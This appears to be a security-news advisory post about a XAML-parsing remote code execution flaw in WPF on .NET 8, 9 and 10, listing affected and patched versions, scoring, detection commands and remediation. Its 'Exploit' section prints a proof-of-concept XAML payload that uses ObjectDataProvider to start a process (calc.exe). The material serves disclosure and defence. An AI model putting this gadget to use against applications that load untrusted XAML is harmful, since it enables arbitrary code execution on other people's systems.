Listen to this Post
A remote code execution vulnerability exists in Windows Presentation Foundation (WPF) in .NET 8, .NET 9, and .NET 10 when parsing specially crafted XAML input. An attacker who successfully exploits this vulnerability could execute arbitrary code in the context of the current user.
The vulnerability stems from an improper protection mechanism (CWE-693) during the parsing of XAML input. WPF applications that accept or process XAML content from untrusted sources are particularly at risk. The flaw resides in how the WPF parser handles certain constructs within XAML, failing to properly validate or sanitize input before processing it. This allows an attacker to craft a malicious XAML payload that, when loaded by a vulnerable application, triggers arbitrary code execution.
Exploitation requires user interaction, as the attack vector is local (AV:L) and the attacker must convince a user to open a specially crafted file or interact with a malicious application that supplies the XAML input. The vulnerability does not require authentication (PR:N), making it accessible to any local attacker who can deliver the payload. Once triggered, the attacker gains the ability to execute arbitrary code with the same privileges as the current user, potentially leading to full system compromise, data exfiltration, or installation of additional malware.
All Windows architectures are affected, and the vulnerability impacts a wide range of .NET desktop runtime versions, necessitating comprehensive patching across enterprise .NET environments. The affected packages include `Microsoft.WindowsDesktop.App.Runtime.win-` for .NET 8.0 (versions 8.0.0 through 8.0.28), .NET 9.0 (versions 9.0.0 through 9.0.17), and .NET 10.0 (versions 10.0.0 through 10.0.9). Microsoft has released patched versions to address this vulnerability: .NET 8.0.29, .NET 9.0.18, and .NET 10.0.10.
DailyCVE Form:
Platform: Windows
Version: .NET 8,9,10
Vulnerability: RCE XAML
Severity: High (7.8)
Date: July 14, 2026
Prediction: Patch already released
What Undercode Say:
Analytics:
- CVSS Score: 7.8 (High)
- Vector: AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Weakness: CWE-693 (Protection Mechanism Failure)
- EPSS: 0.97% (30-day exploitation probability)
- KEV: No (not yet known to be exploited in the wild)
Detection & Inventory:
Check installed .NET SDKs and runtimes dotnet --info List all installed .NET runtimes with versions dotnet --list-runtimes Check for vulnerable WPF runtime packages dotnet list package --include-transitive | findstr "Microsoft.WindowsDesktop.App.Runtime"
Exploit: (Educational Purposes!)
<!-- Malicious XAML payload example - DO NOT USE IN PRODUCTION -->
<Window x:Class="Malicious.MainWindow"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:sys="clr-namespace:System;assembly=mscorlib">
<Window.Resources>
<ObjectDataProvider x:Key="MaliciousProvider"
ObjectType="{x:Type sys:Diagnostics.Process}"
MethodName="Start">
<ObjectDataProvider.MethodParameters>
<sys:String>calc.exe</sys:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</Window.Resources>
</Window>
Note: This demonstrates the vector where an ObjectDataProvider can be abused to invoke arbitrary methods. Actual exploitation may vary.
Protection:
- Update to patched runtime versions: .NET 8.0.29, .NET 9.0.18, or .NET 10.0.10
- Recompile and redeploy all self-contained applications
- Restart applications after runtime update
- Audit applications that accept user-provided XAML input
- Consider using `XamlReader.Load` with appropriate security settings for untrusted content
Impact:
- Confidentiality: High – attacker can read sensitive data
- Integrity: High – attacker can modify or corrupt data
- Availability: High – attacker can cause denial of service
- Successful exploitation allows unauthenticated attacker to execute code as the current user
- Potentially leads to full system compromise or sensitive data exfiltration
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
